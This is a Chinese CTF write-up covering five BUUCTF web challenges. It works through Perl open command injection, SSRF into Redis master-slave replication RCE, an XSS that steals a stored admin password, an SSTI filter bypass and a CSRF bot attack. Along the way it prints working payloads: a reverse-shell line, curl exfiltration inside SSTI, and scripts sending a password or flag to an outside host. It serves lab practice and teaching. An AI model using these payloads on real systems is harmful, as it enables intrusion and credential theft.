buuctf13(perl脚本GET open命令漏洞redis主从复制xssssti关键字过滤绕过csrf)

news2024/11/16 23:57:46

目录

<1> [HITCON 2017]SSRFme(perl脚本GET open命令漏洞)

 <2> [网鼎杯 2020 玄武组]SSRFMe(SSRF结合redis主从复制RCE)

<3> [GWCTF 2019]mypassword(xss获取保存的cookie内容)

 <4> [GWCTF 2019]你的名字(ssti {{和关键字绕过)

(1) {{ 和 }} 过滤绕过:

(2) 绕过关键字过滤方法:

<5> [GKCTF 2021]CheckBot(csrf)


<1> [HITCON 2017]SSRFme(perl脚本GET open命令漏洞)

做这道题前,先来看一下后面会用到的知识点:

  • open函数中存在 rce,并且还支持file函数

perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠|)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果 

比如你 open(file_handler,"|pwd"); 会执行pwd命令

  • GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,
  • Perl的GET函数底层就是调用了open处理

进入题目,过的源码:

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

进行审计,代码功能为:

  1. 输出当前页面用户的ip
  2. 构建md5处理过的目录,并切换构建的目录,格式为 sandbox/md5(orange+ip)
  3. shellexec() 执行 GET 拼接的命令,内容可控 (这里可以使用 perl 进行命令执行)
  4. 将shell_exec()命令执行结果(可控内容)写入到filename(可控文件名)中

观察其他师傅WP 才知道 这个GET是  Lib for WWW in Perl中的命令 以前从来没遇到过

相关介绍可查看:LWP(Library for WWW in Perl)的基本使用

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

前面说了 这里 GET是Lib for WWW in Perl中的命令 可以使用perl进行命令执行

而 执行的条件呢,就是我们必须先创建一个和命令一样的文件,然后就是将命令执行的结果放到我们传进去的文件里面

首先我们利用 open rce 看看根目录下有哪些文件:

?url=file:///&filename=a

会写入到 sandbox/md5(orange+ip)/a 文件中

我们看到了 readflag 读取flag读不到,肯定是通过执行 readflag来获得flag

 由于需满足文件存在,才会执行open语句,所以先创建命令的同名文件

?url=&filename=|/readflag

然后利用perl open函数进行rce

?url=file:|/readflag&filename=a

|/readflag 命令执行结果 存储到a文件中

再次访问 sandbox/md5(orange+ip)/a 得到flag

注:可以直接/readflag  也可以 bash -c /readflag

 <2> [网鼎杯 2020 玄武组]SSRFMe(SSRF结合redis主从复制RCE)

  • SSRF结合redis主从复制RCE
  • prase_url()解析漏洞
  • file_put_content死亡代码(没考到,积累一下)
  • parse_urllibcurl对url的解析差异绕过指定host(也没考到 积累一下)

Tips:使用DNS重绑定绕过限制 

 进入题目,得到源代码:

<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

进行代码审计,功能为:

  1. 接受用户传入的url, 经由 safe_request_url() 处理
  2. check_inner_ip函数判断并禁止内网ip的请求,并必须使用http或https,dict,gopher协议
  3. safe_request_url先用上一个函数判断,不符合即会开启curl会话,输入值

看到 curl_exec 也比较明确是ssrf了, 代码最后提示要从本地端访问hint.php文件,那么绕过本地验证过滤即可,这里过滤了127开头、10开头、172.16开头、192.168开头 方法也有很多,这里使用 0.0.0.0绕过限制、也可以

?url=http://0.0.0.0/hint.php

得到 hint.php 如下:

<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
  highlight_file(__FILE__);
}
if(isset($_POST['file'])){
  file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}

本体的代码其实被大佬用来做利用libcurl和parse_url对url的解析差异绕指定的host的例子 不过可能是环境问题,这个方法在 curl 较新的版本里被修掉了,buu上无法使用 

从上图中可以看到curl()函数解析的是第一个@后面的网址,而prase_url()解析的是第二个@后面的地址。利用这个原理我们可以绕过题目中prase_url()函数对指定host的限制 ?url=http://u:p@127.0.0.1:80@baidu.com/hint.php

回到 hint.php,我们可以看到

file_put_contents($content,"<?php exit();".$content);

会不会是 file_put_content死亡代码  逃逸exit 这个打不通,应该是权限的问题,没有写文件的权限

然后后面 redispass is root 给了redis的密码,应该是 gopher 打redis了

 看各个师傅的wp,得知考察的是redis的主从复制   .....没搞过 码上 后面专门搞一搞

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。


redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis

主从复制从ssrf->rce原理:在全量复制过程中,恢复rdb文件,如果我们将rdb文件构造为恶意的exp.so,从节点即会自动生成,使得可以RCE

 所以我们这题的思路是:

首先,创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,然后就可以远程连接目标Redis服务器

然后,通过 slave of 命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)

然后,又因为主从复制。恶意Redis主机上的exp.so会同步到Reids从机上,并将dbfilename设置为exp.so

最后再控制Redis从机(slaver)加载模块执行系统命令即可

用到的命令为:

config set dir /tmp/                     //设置备份文件路径为/tmp/

config set dbfilename exp.so     //设置备份文件名为:exp.so
slaveof vpsip port                       //设置主redis地址为 vpsip,端口为 port

module load /tmp/exp.so
system.exec 'bash -i >& /dev/tcp/192.168.8.103/4607 0>&1'

or system.rev  vpsip port

这道题主要用到  redis-rogue-server: Redis 4.x/5.x RCE  和 redis ssrf gopher generater & redis ssrf to rce by master-slave-sync 脚本

将他们下载到vps上

这里脚本里帮我们写入了要在redis上执行的 命令:

 因此我们只用改一下对应的参数 vpsip port 和 system.exec 具体命令即可

更改 ssrf-redis.py 脚本里的 lhost为你的vps 的ip,lport为端口  同时记得passwd设为root

ip为 0.0.0.0 绕过前面的 ssrf 限制

 

生成payload,执行:python ssrf-redis.py

然后在 vps里执行:python redis-rogue-server.py --server-only

 gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%245%0D%0Avpsip%0D%0A%244%0D%0Aport%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%2414%0D%0Acat%24%7BIFS%7D/flag%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

相当于:

gopher://0.0.0.0:6379/_auth root

config set dir /tmp/                     //设置备份文件路径为/tmp/

config set dbfilename exp.so     //设置备份文件名为:exp.so
slaveof vpsip port                       //设置主redis地址为 vpsip,端口为 port

module load /tmp/exp.so            // 加载 exp.so
system.exec 'cat /flag'

然后 将payload 再进行一次url编码(空格都用%2520替换,换行都用%250d%250a替换),也可以直接burp给url编一次码 传给url参数

就可以得到flag。

buu的这道题环境好像有问题,exp.so这个拓展并没有在主从复制时完整的传到 buu题目环境上 ,就导致每次执行 module load /tmp/exp.so 的时候就 -ERR Error loading the extension 提示不可用

 又因为没有 load (加载)上exp.so  system.exec去执行 cat /flag命令时,也会报错:-ERR unknown command `system.exec`

<3> [GWCTF 2019]mypassword(xss获取保存的cookie内容)

  • xss注入
  • requestbin 外带数据(也可外带rce无回显)

进入题目后得到一个登录框,注册一个admin 已存在,那就乖乖注册别的吧

登录进去之后, 得知:admin 密码在源码里

 在Feedback中看见注释


			if(is_array($feedback)){
				echo "<script>alert('反馈不合法');</script>";
				return false;
			}
			$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
			foreach ($blacklist as $val) {
		        while(true){
		            if(stripos($feedback,$val) !== false){
		                $feedback = str_ireplace($val,"",$feedback);
		            }else{
		                break;
		            }
		        }
		    }

 过滤了好多xss用到的标签事件,svg,script,onload 等等,但是是用str_ireplace函数匹配的,而str_ireplace函数 该函数单次匹配递归匹配,且它的关键字是一个数组,遍历数组,每次一个关键字,可以双写两个关键字绕过

试试xss

<scriphostt>alert(1)</scriphostt>

在list中点击我们提交的内容,果然弹窗。然后我们就得尝试获取源码里的密码,登陆admin,再进行下一步操作

怎么通过xss获得源码呢? 之前只用xss去 得到bot的cookie,还没试过用xss获取源码

看wp得知:在Login登录界面,有/js/login.js:

if (document.cookie && document.cookie != '') {
	var cookies = document.cookie.split('; ');
	var cookie = {};
	for (var i = 0; i < cookies.length; i++) {
		var arr = cookies[i].split('=');
		var key = arr[0];
		cookie[key] = arr[1];
	}
	if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
		document.getElementsByName("username")[0].value = cookie['user'];
		document.getElementsByName("password")[0].value = cookie['psw'];
	}
}

 发现login.js中的 记住密码 功能会将读取cookie中的password。

于是构造一个登录框并且引入login.js提交反馈等待bot点开获得flag

poc如下:

<input type="text" name="username"></input>
<input type="text" name="password"></input>
<script src="./js/login.js"></script>
<script>
	var uname = document.getElementsByName("username")[0].value;
	var passwd = document.getElementsByName("password")[0].value;
	var res = uname + " " + passwd;
	document.location="http://requestbin/?res="+res;
</script>

 利用buu的requestbin  :http://http.requestbin.buuoj.cn/

点击 Create a RequestBin获取一个链接,将poc中的location设为我们申请到的链接

同时又因为存在过滤,我们给对应的关键字都加上双写绕过一下

<inpcookieut type="text" name="username"></inpcookieut>
<inpcookieut type="text" name="password"></inpcookieut>
<scricookiept scookierc="./js/login.js"></scricookiept>
<scricookiept>
	var uname = documcookieent.getcookieElementsByName("username")[0].value;
	var passwd = documcookieent.getcookieElementsByName("password")[0].value;
	var res = uname + " " + passwd;
	documcookieent.locacookietion="http://http.requestbin.buuoj.cn/we1fz5we/?res="+res;
</scricookiept>

Feedback提交之后,进入List点击, 即可得到flag

 注:因为是保存密码功能,因从你在登录自己注册的账号的时候不要点记住密码,否则会覆盖掉admin的密码  喏

 不知道为什么,src设成vps的话,vps上得不到admin的密码,但是能得到我注册的用户的密码

 <4> [GWCTF 2019]你的名字(ssti {{和关键字绕过)

  • {{}}符号的绕过
  • 关键字符过滤的绕过 

 进入题目,发现需要输入名字,有一个输入框 测试是否存在sql注入 xss

 未果,尝试ssti 发现报错:

Parse error: syntax error, unexpected T_STRING, expecting '{' in \var\WWW\html\test.php on line 13

实际上这是 手动写的 php的报错,迷惑人的,后端其实是python写的。

 {{7*7}} 会报错 而{7*7}则会显示出来 应该是过滤了 {{

(1) {{ 和 }} 过滤绕过:

双大括号过滤的绕过比较常见,一般就是使用{% %}配合if()或者print()函数进行输出

{% %}配合if():

ssti 学习可以参考: Python模板注入(SSTI)深入学习 - 先知社区

直接用文章里给的 payload打一下:

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}

 露 500了,过滤了

这是题目的过滤代码:

blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for',
                 ' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local',
                 'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config'];
for no in blacklist:
    while True:
        if no in s:
            s = s.replace(no, '')
        else:
            break
return s

可以看到采用的是 单次匹配递归匹配,且关键字是一个数组,因而我们可以双写其中的两个前后关键字进行绕过,比如config是最后匹配的,当我们传入 imporconfigt时,已经判断过不是import了,这里把config置空之后,便得到了import。过滤不严谨

{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl ip:5555/ -d `ls /|base64`;') %}1{% endiconfigf %}

  

{% %}配合print

{%print lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()%}

(2) 绕过关键字过滤方法:

{% %}配合 print 形式  {%print %}

一、 使用拼接

 {%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('cat /flag_1s_Hera').read()%}

二、分别定义

{%set a='__bui'+'ltins__'%}
{%set b='__im'+'port__'%}
{%set c='o'+'s'%}
{%set d='po'+'pen'%}
{%print(lipsum['__globals__'][a][b](c)[d]('whoami')['read']())%}

上面的都可以,然后这道题由于是过滤不严谨,也可以按照上面 if 用的那种方法,关键字里插入config来绕过

{%print lipsum.__globals__.__builconfigtins__.__impoconfigrt__('oconfigs').poconfigpen('whoami').read() %}

<5> [GKCTF 2021]CheckBot(csrf)

Hint:让bot访问/admin.php才有flag,但是怎么带出来呢

下、admin bot会点击我们传入的url值,我们可以构造csrf 让bot点击 把flag发到我们vps监听的端口

<html>
        <body>
                <iframe id="flag" src="http://127.0.0.1/admin.php"></iframe>
                <script>
                        window.onload = function(){
                        /* Prepare flag */
                        let flag = document.getElementById("flag").contentWindow.document.getElementById("flag").innerHTML;
                        /* Export flag */
                        var exportFlag = new XMLHttpRequest();
                        exportFlag.open('get', 'http://vps:port/flag-' + window.btoa(flag));
                        exportFlag.send();
                        }
                </script>
        </body>
</html>

 Submit successfully, wait for admin bot to check!

等一会再查看vps上监听端口返回的信息

base64解密一下,得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/376016.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++ STL:空间配置器

文章目录1、allocator 接口层1.1、接口层源码1.2、定位 new 表达式1.3、实例2、allocator 实现层2.1、一级空间配置器2.2、二级空间配置器allocatedeallocate源码流程分析3、allocator 问题背景&#xff1a;频繁使用 malloc 分配内存的造成的问题&#xff1a; 系统调用&#x…

js红宝书学习笔记(1-6章)

就按照原书中写的章节顺序记笔记了&#xff0c; 还有可能我学过js一段时间了&#xff0c;可能有些对于新手的细节会忽略&#xff0c;但是会尽量写全的~ 1.第一章 什么是JavaScript 1.1讲了一些历史&#xff0c;所以我们从1.2开始看 1.2 JavaScript的实现 完整的JaveScript包…

JVM内存溢出与内存泄露

1. 什么是内存溢出? 当前创建的对象的大小大于可用的内存容量大小&#xff0c;发生内存溢出。2. 什么是内存泄露? 该回收的垃圾对象没有被回收&#xff0c;发生了内存泄露&#xff0c;垃圾对象越堆越多&#xff0c; 可用内存越来越少&#xff0c;若可用内存无法存放新的垃圾…

【神经网络】LSTM为什么能缓解梯度消失

1.LSTM的结构 我们先来看一下LSTM的计算公式&#xff1a; 1.遗忘门&#xff1a; 2.输入门&#xff1a; 3.细胞状态 4.输出门 2.LSTM的梯度路径 根据LSTM的计算公式&#xff0c;可以得出LSTM的cell state与、、都存在计算关系&#xff0c;而、、的计算公式又全部都与有关&#x…

【目标检测】入门基础原理学一遍就够了吧

我菜就爱学 文章目录目标检测实战1 目标检测简介1.1 目标检测分类1.2 检测的任务1.3 目标定位实现的思路1.4 两种bbox名称解释2 R-CNN2.1 目标检测-Overfeat模型2.2 目标检测-R-CNN模型2.2.1 候选区域&#xff08;ROI&#xff09;2.2.2 CNN网络提取特征2.2.3 特征向量训练分类器…

vue2--基于zm-tree-org实现公司部门组织架构图

1.安装zm-tree-org npm i zm-tree-org -S2.引入使用 import Vue from vue; import ZmTreeOrg from zm-tree-org; import "zm-tree-org/lib/zm-tree-org.css";Vue.use(ZmTreeOrg);3.个人需求 组织架构图中&#xff1a;部门可拖动更改所属部门&#xff0c;可增加部门…

javascript学习+Vue学习+项目开发

一 《学习JavaScript数据结构与算法》 1.ES2015的类是基于原型语法的语法糖 2.TypeScript是一个开源的、渐进式包含类型的JavaScript超集 以&#xff0e;ts为扩展名 以tsc命令来编译它 TypeScript允许我们给变量设置一个类型&#xff0c;不过写法太啰唆了。 TypeScript有一…

博客系统——项目测试报告

目录 前言 博客系统——项目介绍 1、测试计划 1.1、功能测试 1.1.1、编写测试用例 1.1.2、实际执行步骤 1.2、使用Selenium进行Web自动化测试 1.2.1、引入依赖 1.2.2、提取共性&#xff0c;实现代码复用 1.2.3、创建测试套件类 1.2.4、博客登录页自动化测试 1.2.5、…

SQL注入报错注入之floor()报错注入原理分析

简介 对于SQL注入的报错注入通常有三个函数需要我们掌握&#xff1a; extractValue(xml_frag, xpath_expr)updateXML(xml_target, xpath_expr,new_xml)floor() 对于extractValue和updateXML函数来说比较好理解&#xff0c;就不做解释了&#xff0c;这里只对floor函数的报错注…

LabVIEW网络服务安全2

LabVIEW网络服务安全2在客户端应用程序中创建签名对请求进行签名要求您具有能够从客户端的编程语言调用的MD5摘要算法以及SHA256加密摘要算法的实现。这两种算法通常都可用于大多数平台。还需要&#xff1a;1. 要使用的HTTP方法的字符串&#xff08;“GET”、“POST”、“PUT”…

收发器上的10G网络变压器有什么特殊要求?

Hqst盈盛电子导读&#xff1a;那么&#xff0c;为了保证我们购买到正常的真正的具备POE功能的10G网络变压器&#xff0c;我们又要如何做呢以及如何判断呢&#xff1f;随着高速以太网网络传速的快速发展&#xff0c;10G以太网&#xff0c;10G网络变压器滤波器在各个领域也得到了…

基于SpringCloud的可靠消息最终一致性05:保存并发送事务消息

在有了分布式事务的解决方案、项目的需求、骨架代码和基础代码,做好了所有的准备工作之后,接下来就可以继续深入了解「核心业务」了。 在前面了解分布式事务时,可靠消息最终一致性方案的流程图是这样的: 图三十一:可靠消息最终一致性 整个的流程是: 1、业务处理服务在事务…

GLSL shader学习系列1-Hello World

这是GLSL shader系列第一篇文章&#xff0c;本文学习目标&#xff1a; 安装编辑工具编写hello world程序 安装插件 我使用VSCode编写shader代码&#xff0c;在VSCode上有两个好用的插件需要先装一下&#xff1a; Shader languages support for VS Code glsl-canvas&#xf…

优维科技实力入选《2023深圳金融业信息技术融合创新案例汇编》

日前&#xff0c;由深圳市金融科技协会编制的《2023深圳金融业信息技术融合创新案例汇编》于“2022中国&#xff08;深圳&#xff09;金融科技全球峰会”正式对外发布&#xff0c;共汇编近90个优秀金融技术应用实践案例&#xff0c;优维科技凭借在“某银行自动化运维XC改造项目…

STM32——毕设智能感应窗户

智能感应窗户 一、功能设计 以STM32F103芯片最小系统作为主控&#xff0c;实现自动监测、阈值设定功能和手动控制功能。 1、自动监测模式下&#xff1a; ① 采用温湿度传感器&#xff0c;实现采集当前环境的温度、湿度数值。 ② 采用光敏传感器&#xff0c;实现判断当前的环境…

【数据库/MySQL】MySQL三大日志提要

MySQL三大日志 mysql常用日志 错误日志查询日志慢查询日志事务日志【redo log&#xff08;重做日志&#xff09;、undo log&#xff08;回滚日志&#xff09;】二进制日志【bin log】 MySQL日志中比较重要的包括redo log&#xff08;重做日志&#xff09;、binlog&#xff0…

Docker 网络详解

前置网络知识 OSI七层网络模型 从下到上依次为&#xff1a;物理层、数据链路层、网络层、传输层、会话层、表示层、应用层。 交换机&#xff1a;处在第二次&#xff0c;也就是数据链路层。作用&#xff1a;通过一个或者多个设备将不同子网连接在一起&#xff0c;相互通信&am…

Ant Design Vue 如何添加时间选择框

第一步引入 组件 import JDate from /components/jeecg/JDate使用 重点代码 <j-date<a-col :span"24/2"><a-form-item :labelCol"labelCol" :wrapperCol"wrapperCol" label"验收日期"><j-date placeholder"…

Lesson9---回归问题

9.1 机器学习基础 课程回顾 Python语言基础Numpy/Matplotlib/Pandas/Pillow应用TensorFlow2.0 低阶API 即将学习 机器学习、人工神经网络、深度学习、卷积神经网络典型模型的TensorFlow2.0实现 9.1.1 机器学习 机器学习&#xff08;Machine Learning&#xff09;&#xf…

2023年湖北七大员证书查询网站是哪里?

一、湖北七大员是哪七大员&#xff1f; 湖北七大员分别是&#xff1a;施工员、质量员、资料员、材料员、标准员、劳务员和机械员。其中施工员和质量员分为&#xff1a;市政、土建、装饰装修和设备安装四个子专业&#xff0c;其他不分。 二、湖北七大员证书查询网站是哪里&#…